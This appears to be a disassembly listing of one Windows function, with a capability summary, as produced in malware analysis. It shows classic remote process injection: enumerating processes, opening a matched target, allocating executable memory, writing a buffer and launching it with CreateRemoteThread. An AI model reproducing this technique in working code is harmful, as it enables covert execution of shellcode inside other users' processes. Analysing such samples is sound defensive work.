Function at 0x140001720
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x2c0
mov rax, qword [0x140099010]
xor rax, rsp
mov qword [rsp + 0x2b0], rax
mov r13, rcx
xor esi, esi
mov qword [rsp + 0x40], rsi
mov rdx, qword [rcx + 0x10]
lea rcx, [rsp + 0x40]
call fcn.1400013d0
mov qword [rsp + 0x48], rax
xor edx, edx
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x14000193f
mov dword [rsp + 0x50], 0x238
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001936
mov r12, qword [rsp + 0x40]
nop dword [rax]
mov qword [rsp + 0x290], rsi
mov qword [rsp + 0x2a0], rsi
mov qword [rsp + 0x2a8], 7
mov word [rsp + 0x290], si
lea rax, [rsp + 0x7c]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x1400017e0
lea rdx, [rsp + 0x7c]
lea rcx, [rsp + 0x290]
call fcn.140002fe0
nop
lea rdx, [0x1400055a8]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
mov rdi, qword [r13 + 0x18]
xor r8d, r8d
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
lea rbx, [rax + 1]
cmp rbx, 0xffffffffffffffff
jne 0x140001838
lea rcx, [0x140005708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
jmp 0x140001868
lea rcx, [rbx + rbx]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
jne 0x140001859
lea rcx, [0x140005714]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
jmp 0x140001868
mov r8, rbx
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
mov r10, 0xffffffffffffffff
nop
inc r10
cmp word [rsi + r10*2], 0
jne 0x140001870
lea rbx, [rsp + 0x290]
mov rbp, qword [rsp + 0x290]
mov r14, qword [rsp + 0x2a8]
cmp r14, 8
cmovae rbx, rbp
mov rax, qword [rsp + 0x2a0]
cmp r10, rax
ja 0x1400018e3
test r10, r10
je 0x1400019a9
sub rax, r10
lea r11, [rbx + 2]
lea r11, [r11 + rax*2]
mov rdx, rbx
nop
mov rax, r11
sub rax, rdx
sar rax, 1
je 0x1400018e3
movzx ecx, word [rsi]
nop
cmp word [rdx], cx
je 0x140001970
add rdx, 2
sub rax, 1
jne 0x1400018d0
xor esi, esi
cmp r14, 8
jb 0x140001920
lea rdx, [r14*2 + 2]
mov rax, rbp
cmp rdx, 0x1000
jb 0x140001918
add rdx, 0x27
mov rbp, qword [rbp - 8]
sub rax, rbp
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001acc
mov rcx, rbp
call fcn.1400036dc
lea rdx, [rsp + 0x50]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400017b0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x2b0]
xor rcx, rsp
call fcn.140003680
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov r8, r10
mov rax, rsi
test r10, r10
je 0x140001999
mov r9, rdx
sub r9, rsi
movzx ecx, word [rax]
cmp word [r9 + rax], cx
jne 0x140001ac3
add rax, 2
sub r8, 1
jne 0x140001981
sub rdx, rbx
sar rdx, 1
cmp rdx, 0xffffffffffffffff
je 0x1400018e3
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [0x140005738]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8d, dword [rsp + 0x58]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400018e3
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.VirtualAllocEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, r12
xor edx, edx
mov rcx, rbx
call rax
mov rdi, rax
test rax, rax
je 0x1400018e3
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9, r12
mov r8, qword [rsp + 0x48]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400018e3
lea rdx, str.Remote_buffer_address:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400031b0
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x140003380]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor esi, esi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
mov r9, rdi
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
je 0x1400018e5
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400018e5
add rdx, 2
jmp 0x1400018c0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3